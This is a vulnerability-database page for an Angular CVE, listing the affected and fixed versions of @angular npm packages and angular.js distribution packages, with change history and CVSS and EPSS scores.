19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/common
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/compiler
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/compiler-cli
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/core
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/elements
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/forms
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/language-service
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/localize
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/platform-browser
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/platform-browser-dynamic
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/platform-server
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/service-worker
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/upgrade
TuxCare:npm
From an advisory covering 9 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/bazel
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.219.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/language-service
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.219.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/language-service
TuxCare:npm
From an advisory covering 9 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/animations
TuxCare:npm
From an advisory covering 8 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/router
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/animations
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/animations
TuxCare:npm
From an advisory covering 3 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/animations
TuxCare:npm
From an advisory covering 6 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/animations
TuxCare:npm
From an advisory covering 6 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/animations
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/router
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/router
TuxCare:npm
From an advisory covering 3 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/router
TuxCare:npm
From an advisory covering 6 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/router
TuxCare:npm
From an advisory covering 6 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/router
TuxCare:npm
From an advisory covering 6 CVEs
18.2.13-tuxcare.0 up to 18.2.13-tuxcare.1, plus listed versions
18.2.13
18.2.13-tuxcare.1
@angular/upgrade
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/upgrade
TuxCare:npm
From an advisory covering 3 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/upgrade
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/upgrade
TuxCare:npm
From an advisory covering 7 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/compiler
TuxCare:npm
From an advisory covering 4 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/compiler
TuxCare:npm
From an advisory covering 5 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/compiler
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/compiler
TuxCare:npm
From an advisory covering 9 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/common
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/common
TuxCare:npm
From an advisory covering 4 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/common
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.219.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/common
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/compiler-cli
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/compiler-cli
TuxCare:npm
From an advisory covering 4 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/compiler-cli
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.219.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/compiler-cli
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/core
TuxCare:npm
From an advisory covering 4 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/core
TuxCare:npm
From an advisory covering 5 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/core
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.219.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/core
TuxCare:npm
From an advisory covering 9 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/elements
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/elements
TuxCare:npm
From an advisory covering 4 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/elements
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/elements
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/forms
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/forms
TuxCare:npm
From an advisory covering 3 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/forms
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/forms
TuxCare:npm
From an advisory covering 7 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/localize
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/localize
TuxCare:npm
From an advisory covering 4 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/localize
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/localize
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/platform-browser
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/platform-browser
TuxCare:npm
From an advisory covering 3 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/platform-browser
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/platform-browser
TuxCare:npm
From an advisory covering 7 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/platform-server
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/platform-server
TuxCare:npm
From an advisory covering 3 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/platform-server
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/platform-server
TuxCare:npm
From an advisory covering 7 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/platform-browser-dynamic
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/platform-browser-dynamic
TuxCare:npm
From an advisory covering 3 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/platform-browser-dynamic
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/platform-browser-dynamic
TuxCare:npm
From an advisory covering 7 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
@angular/service-worker
TuxCare:npm
From an advisory covering 3 CVEs
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/service-worker
TuxCare:npm
From an advisory covering 4 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/service-worker
TuxCare:npm
From an advisory covering 3 CVEs
19.2.25-tuxcare.0 up to 19.2.25-tuxcare.4, plus listed versions
19.2.2519.2.25-tuxcare.119.2.25-tuxcare.3
19.2.25-tuxcare.4
@angular/service-worker
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.3, plus listed versions
19.2.1419.2.14-tuxcare.119.2.14-tuxcare.2
19.2.14-tuxcare.3
angular.js
Debian:12
All versions, plus listed versions
1.8.3-11.8.3-1+deb12u11.8.3-1+deb12u1~deb11u11.8.3-21.8.3-3
None known
angular.js
Debian:13
All versions, plus listed versions
1.8.3-3
None known
angular.js
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
1.2.28-1ubuntu21.2.28-1ubuntu2+esm1
None known
angular.js
Ubuntu:Pro:18.04:LTS
All versions, plus listed versions
1.5.10-11.5.10-1ubuntu0.1~esm1
None known
angular.js
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
1.5.10-11.7.9-11.7.9-1ubuntu0.1~esm1
None known
angular.js
Ubuntu:22.04:LTS
All versions, plus listed versions
1.8.2-21.8.2-2ubuntu0.1
None known
angular.js
Ubuntu:24.04:LTS
All versions, plus listed versions
1.8.3-11.8.3-1ubuntu0.24.04.1
None known
angular.js
Ubuntu:26.10
All versions, plus listed versions
1.8.3-3
None known
angular.js
Ubuntu:26.04:LTS
All versions, plus listed versions
1.8.3-3
None known

History

History
RecordedChangedSources
affected, factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-88056 is a high vulnerability (CVSS 8.6) in Angular, published September 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.54%, the 45th percentile. Fixed in @angular/platform-server 22.1.4.

References

Show 9 moreShow less
This page doesn't list everything

Left out on purpose, here and in the API, to keep responses small: 21 source records.

MoveEnter Open